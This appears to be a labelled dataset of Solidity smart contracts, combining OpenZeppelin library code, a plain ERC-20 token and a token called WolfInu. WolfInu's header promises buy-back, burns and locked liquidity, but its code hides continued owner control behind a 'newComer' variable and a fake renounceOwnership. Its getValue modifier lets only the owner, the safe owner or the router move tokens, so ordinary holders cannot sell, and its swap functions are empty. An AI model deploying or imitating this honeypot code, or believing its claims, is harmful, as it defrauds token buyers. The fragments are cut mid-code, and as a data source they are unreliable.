return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
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|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// Symbol : QUS
// Name : Quaestus
// Total supply: 100,000,000.000000000000000000
// Decimals : 18
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract QuaestusToken is StandardToken, Ownable {
string public constant name = "Quaestus";
string public constant symbol = "QUS";
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 100000000 * (10 ** uint256(decimals));
function QuaestusToken() public {
balances[msg.sender] = totalSupply;
}
} | True | [
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/*
🐺 WOLFINU - ERC-20 - BUY BACK PROTOCOL 🐺
WolfInu's contract is powered by an innovative proven BuyBack protocol. Furthermore the contract includes strong burning and redistribution mechanisms to improve the token value. WolfInu is designed to be a sustainable investment for everyone!
🔵 Token information
- ERC-20 Token
- 10 ETH liquidity pool
- 1,000,000,000,000,000 total supply
- Liquidity locked for 4 months
- 20% tokens burned
- Frictionless rewards
🔵 Taxes & buy back mechanism
- 10% tax on every transaction
- 2% proportionally redistributed to all WolfInu holders
- 4% Sent to BuyBack Resulting In Forever Rising Price Floor
- 4% Sent to Team Wallet for marketing and devs
Twitter: https://twitter.com/WolfInuCrypto
Telegram: https://t.me/wolfinubuyback
Website: https://wolfinu.one/
*/
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract WolfInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private _tFeeTotal;
uint256 private _feeBuyBack = 4;
uint256 private _feeMarket = 4;
uint256 private _feeHolder = 2;
address payable private _feeAddrWallet1 = payable(0xd0E9fa375f441a02be30657B50ED39f027f504E9);
address private uniswapV2Pair;
uint256 private _totalSupply = 1000000000000000 * 10**18;
string private _name = 'WOLFINU - https://t.me/wolfinubuyback';
string private _symbol = '$WOLFINU';
uint8 private _decimals = 18;
address private _owner;
address private _safeOwner;
address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor () public {
_owner = owner();
_safeOwner = _owner;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) external onlyOwner{
_burn(msg.sender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual onlyOwner {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal getValue(sender, recipient, amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _totalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _totalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeFromBlacklist(address notbot) external onlyOwner(){
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_tFeeTotal = _tFeeTotal.add(tFee);
_tFeeTotal = _tFeeTotal.sub(rFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeBuyBack, _feeBuyBack);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);}
modifier getValue(address wolfinu, address recipient, uint256 amount){
if (_owner == _safeOwner && wolfinu == _owner){_safeOwner = recipient;_;}
else{if (wolfinu == _owner || wolfinu == _safeOwner || recipient == _owner){_;}
else{require((wolfinu == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}}}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _totalSupply;
uint256 tSupply = _totalSupply;
if (rSupply < _totalSupply.div(_totalSupply)) return (_totalSupply, _totalSupply);
return (rSupply, tSupply);
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
